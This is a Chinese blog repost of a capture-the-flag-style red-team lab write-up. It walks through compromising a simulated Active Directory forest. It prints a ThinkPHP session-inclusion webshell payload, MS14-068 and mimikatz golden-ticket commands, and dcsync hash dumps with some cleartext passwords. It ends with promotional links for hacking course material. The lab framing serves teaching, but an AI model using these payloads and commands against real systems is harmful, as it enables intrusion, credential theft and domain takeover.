渗透攻击红队内网 APT 入门考核靶场 Writeup,零基础入门到精通,收藏这一篇就够了

前言

目标域名:web.root.redteam.lab

目标 IP:192.168.0.12

本次考核目的:拿到 “渗透攻击红队” 公司下 财务部门主管:liuyuan 的个人电脑,并且获取到相应的 Flag 即可通过本次考核!

靶场架构图

渗透前期信息搜集

首先拿到域名后发现是一个 Thinkphp 框架,版本是 5.x :

但是通过 Poc 去调用 system 函数去执行命令并没有返回:

猜测是被禁用了,随后查看了一下发现 phpinfo 可以执行:

通过 phpinfo 发现目标 PHP 版本是 7.0.12、并且 disable_functions 禁用了大多数命令执行函数:

那么常规的命令执行是行不通了,那么其实可以利用 session 文件包含、日志包含的方式去 Getshell!

ThinkPHP Session 文件包含 Getshell

首先需要写 shell 进 session:

POST /index.php?s=captcha HTTP/1.1   Host: web.root.redteam.lab   Cookie: PHPSESSID=redteam   Cache-Control: max-age=0   Upgrade-Insecure-Requests: 1   User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9   Accept-Encoding: gzip, deflate   Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7   Connection: close   Content-Type: application/x-www-form-urlencoded   Content-Length: 78      _method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1   

因为通过 Phpinfo 我们知道了 session 存放目录在:C:\phpStudy\PHPTutorial\tmp\tmp\sess_redteam

那么就可以通过包含 session :

POST /index.php?s=captcha HTTP/1.1   Host: web.root.redteam.lab   Cache-Control: max-age=0   Upgrade-Insecure-Requests: 1   User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9   Accept-Encoding: gzip, deflate   Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7   Cookie: PHPSESSID=ertj8gb4vl2ntoa2v1qrtune32   Connection: close   Content-Type: application/x-www-form-urlencoded   Content-Length: 143      _method=__construct&method=get&filter[]=think\__include_file&get[]=C:\phpStudy\PHPTutorial\tmp\tmp\sess_redteam&server[]=1   

成功拿到 webshell:

内网信息搜集

因为有 disable_functions ,所以是执行不了命令的:

但是仔细发现 passthru 函数是没有被禁用的,可以通过 passthru 函数来执行命令:

通过信息搜集发现当前机器内有多网卡:

并且发现当前机器有域:root.redteam.lab

当前机器出网:

但是并没有发现有杀软!

那么可以先考虑上线到 Cs:

因为拿到的当前机器的权限是本地管理员,并不是一个域账号或者一个 system 机器账号,所以执行不了一些查询域的命令,那么就只能想办法获取到一枚域账号或者提权到 system!

后面通过土豆提权到 system :

这样就可以对域内进行查询了(因为 system 就是一个机器账号,所以只要当前机器是域机器那么也就可以查询域内东西)

定位到当前域控 IP:10.0.1.8

这个时候抓到了一枚域账号:

ROOT\xiaowang 2da2a4991d15033319d15eb780372184 (Xiao123)   

root.redteam.lab 子域内信息搜集

通过域信任发现当前子域(root)和主域(redteam)是存在双向信任的:

对当前机器内网 IP C 段进行探测,只发现一台机器:

但是我看到当前机器的子网掩码是 B 段,猜测 B 段有机器,然后对 B 段进行了一波扫描,发现当前 B 段机器总共就 4 台:

10.0.0.7   10.0.0.8   10.0.1.16	(当前 DMZ Web 域服务器)   10.0.1.8(ROOT 域 DC)   

随后对 10.0.1.8 扫了一下常见 TCP 端口:

proxychains4 nmap -v -Pn -T3 -sV -n -sT --open -p 1433,445,22,8161,3306,135,5236,5000,139,4430,443,8443,873,4443,5985,110,902,1521,7001,21,23,3389,80,81,88,89,8083,8080,9000,8088,8089,8081,5432,5900,6379,2049,389,61616,1099,27017,51111,22345,1723,1194 10.0.1.8   

使用 ADExplorer + BloodHound 对域内进行了分析:

通过上图可知,因为当前只是拿到了一台 webserver 和一个域账号,但是它们两个对高价值目标并没有什么勾连,所以考虑尝试一下其他漏洞。

因为之前抓到了 root.redteam.lab\xiaowang 这个域账号,估且考虑通过 MS14-068 进行攻击!

MS14-068 Attack 子域 ROOT-AD.root.redteam.lab 域控

首先需要的条件有:域内任意用户 SID、域内任意用户密码。

使用 root.redteam.lab\xiaowang 的凭证执行命令得到 SID:

whoami /user      用户信息   ----------------      用户名        SID   ============= =============================================   root\xiaowang S-1-5-21-252626755-3360192561-2172417258-1104   

使用 MS14-068 利用工具:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

通过在目标机器上执行如下命令生成 TGT 票据:

MS14-068.exe -u xiaowang@root.redteam.lab -p Xiao123 -s S-1-5-21-252626755-3360192561-2172417258-1104 -d 10.0.1.8   

然后导入票据:

这个时候成功拿到域控权限:

最后直接用当前票据凭证去 dcsync:

这样就得到了子域的所有 hash:

root.redteam.lab\krbtgt 105fc86a0f24896464a4772748051789   root.redteam.lab\adduser 168df3659b5f75ab35645606839e5677   WEBSERVER\Administrator 518b98ad4178a53695dc997aa02d455c   root.redteam.lab\xiaowang 2da2a4991d15033319d15eb780372184   ROOT\xiaowang 2da2a4991d15033319d15eb780372184   root.redteam.lab\Administrator f72ce44288aa1325c7b97ec83a4e5160 (Root12345)   

最后 wmiexec 横向过去拿到 DC:

Sid History 跨域攻击-从子域(root.redteam.lab)跨域到父域(redteam.lab)

首先我们要知道 Sid History 攻击需要:

  • 1、域名称(GET-ADDomain)

  • 2、域的SID值(GET-ADDomainSID)

  • 3、域的 KRBTGT 账户的hash(当前子域的,可以通过 mimikatz 获取)

  • 4、伪造用户名(administrator)

  • 5、根域 Enterprise Admins 组的 ObjectID(Convert-NameToSid)

1、域名称:root.redteam.lab

2、域的sid 值:导入 powerview.ps1 脚本获取 sid

powershell -exec bypass "import-module C:\windows\temp\powerview.ps1;Get-DomainSID"   S-1-5-21-252626755-3360192561-2172417258   

3、子域的 KRBTGT 账户的 hash:105fc86a0f24896464a4772748051789

4、获取根域(red.lab) Enterprise Admins 组的 ObjectID:S-1-5-21-3044561657-3490269564-1163119649-502

powershell -exec bypass "import-module C:\windows\temp\powerview.ps1;Convert-NameToSid redteam\krbtgt"   S-1-5-21-3044561657-3490269564-1163119649-502   

而完成 Sid History 攻击需要修改其 RID,获取到 krbtgt 的SID后,将 502 修改为 519,也就是 Enterprise Admins 修改为:S-1-5-21-3044561657-3490269564-1163119649-519

5、然后通过 mimikatz 进行攻击:

mimikatz kerberos::golden /user:administrator /domain:<current FQDN> /sid:<current SID> /krbtgt:<KRBTGT_HASH> /sids:<root domain SID>-519 /ptt      /user – 需要模拟的用户名,本例中为administrator   /domain – 完全限定域名(FQDN)   /sid – 域的 SID   /krbtgt – krbtgt的ntlm密码hash   /sids – AD 林中帐户/组的 SID,能获取高权限的ticket,本例中为Enterprise Admins组   /ptt – 将伪造的票据注入内存以供使用      kerberos::golden /user:administrator /domain:root.redteam.lab /sid:S-1-5-21-252626755-3360192561-2172417258 /krbtgt:105fc86a0f24896464a4772748051789 /sids:S-1-5-21-3044561657-3490269564-1163119649-519 /ptt   

为了方便我正向让子域的域控上线到了 Cs:

首先我子域控制器访问父域控制器是访问不了的:

这个时候通过 mimikatz 进行攻击:

但是用 cs 的 mimikatz 好像有问题:

于是我登录到子域的 DC 的远程桌面,利用 mimikatz 成功拿到父域:

mimikatz.exe "kerberos::golden /user:administrator /domain:root.redteam.lab /sid:S-1-5-21-252626755-3360192561-2172417258 /krbtgt:105fc86a0f24896464a4772748051789 /sids:S-1-5-21-3044561657-3490269564-1163119649-519 /ptt"   

通过 dcsync 导出父域 redteam.lab 的所有 hash:

mimikatz # lsadump::dcsync /domain:redteam.lab /all /csv   [DC] 'redteam.lab' will be the domain   [DC] 'owa.redteam.lab' will be the DC server   [DC] Exporting domain 'redteam.lab'   502	krbtgt	7f83b52bdbfbe4bb39277eda6d0022b2   1126	mail	38fe728ae616f0fde13715e7c320685f   1137	adduser	168df3659b5f75ab35645606839e5677   1138	webserver	0b564247267bce0a40cae80e575b9f64   1127	zhangfei	ccef208c6485269c20db2cad21734fe7   1141	ROOT$	5d2ea94adb5c2468732a085167091f3c   1133	saulgoodman	ccef208c6485269c20db2cad21734fe7   1134	ak47	ccef208c6485269c20db2cad21734fe7   1128	lisi	ccef208c6485269c20db2cad21734fe7   1135	uzi	ccef208c6485269c20db2cad21734fe7   1132	zhoutian	ccef208c6485269c20db2cad21734fe7   1129	justinBieber	ccef208c6485269c20db2cad21734fe7   1130	zhangwen	ccef208c6485269c20db2cad21734fe7   1131	liuyuan	ae4c0d5fb959fda8f4cb1d14a8376af4 (Admin123456)   1140	WORK$	75a5772b2f3c33fcaa3c7ccf2fe8e92a   1142	test	ccef208c6485269c20db2cad21734fe7   1000	OWA$	1e610250aebba6a6d2a285ec68fd2ee5   500	Administrator	518b98ad4178a53695dc997aa02d455c (admin!@#45)   

父域下的定位财务部门 liuyuan 的个人电脑

首先通过登录到父域 redteam.lab 的 ldap 里搜索信息:

通过 DN 信息发现 liuyuan 是 渗透攻击红队旗下的财务部主管,邮箱是 liuyuan@redteam.lab

那么如果想要拿到他的个人机器,首先需要定位到他的个人机器是那个 IP,因为我靶场只有这几台机器,如果是真实环境下去定位的话可以使用以下这种方式:通过 wevtutil 日志去分析定位,日志id为4624(登录成功的日志)都导到指定目录下的 risalogs.evtx 文件中,然后再想办法把这个文件拖到本地来分析 !

首先通过 wmiexec 横向到父域域控上,然后导出日志:

wevtutil epl Security c:\windows\logs\risalogs.evtx /q:"*[EventData[Data[@Name='LogonType']='3'] and System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= 4449183132]]]"   

吧 risalogs.evtx 下载到本地之后, 安装 Log Parser 2.2,用 LogParser 对刚刚拖回来的文件进行格式输出,将输出的结果存至 log.txt 中:

LogParser.exe -i:EVT -o csv "SELECT TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) as NAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) as IP FROM risalogs.evtx" > log.txt   

因为 log.txt 太乱了,我们给它剔除一下:

grep -v '\$' log.txt | sort | uniq | egrep -v 'ANONYMOUS LOGON|-|:' > login_succeed.txt   

┌──(root㉿penetration)-[~]   └─# cat login_succeed.txt      ADDUSER,10.0.0.12   ADDUSER,10.0.0.7   ADMINISTRATOR,10.0.0.12   ADMINISTRATOR,10.0.0.7   ADMINISTRATOR,10.0.0.8   ADMINISTRATOR,10.0.1.16   ADMINISTRATOR,10.0.1.8   LIUYUAN,10.0.0.111   LIUYUAN,10.0.0.7   MAIL,10.0.0.7   NAME,IP   WEBSERVER,10.0.0.12   XIAOWANG,10.0.1.16   ZHANGFEI,10.0.0.12   

这个时候就知道了 liuyuan 这个用户登录过 10.0.0.111、10.0.0.7 !

而且发现只有 10.0.0.7 机器是开机的:

这个时候目的就很明确了,拿到 10.0.0.7 就可以了!

那么既然我们有 liuyuan 的 hash 了,直接进远程桌面后在邮件的草稿箱找到了 Flag:


为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

由于篇幅有限,各位直接点击嚯取哦:CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

黑客&网络安全如何学习?

今天只要你给我的文章点赞,我自己多年整理的282G 网安学习资料免费共享给你们,网络安全学习传送门,可点击直达获取哦!

由于篇幅有限,各位直接点击嚯取哦:CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了282G视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
在这里插入图片描述

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

由于篇幅有限,各位直接点击嚯取哦:CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

由于篇幅有限,各位直接点击嚯取哦:CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,需要的话也可以拿走。
在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

由于篇幅有限,各位直接点击嚯取哦:CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

在这里插入图片描述

更多内容为防止和谐,可以扫描获取哦~

在这里插入图片描述

本文转自 https://blog.csdn.net/Python_0011/article/details/142613449?spm=1001.2014.3001.5502,如有侵权,请联系删除。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值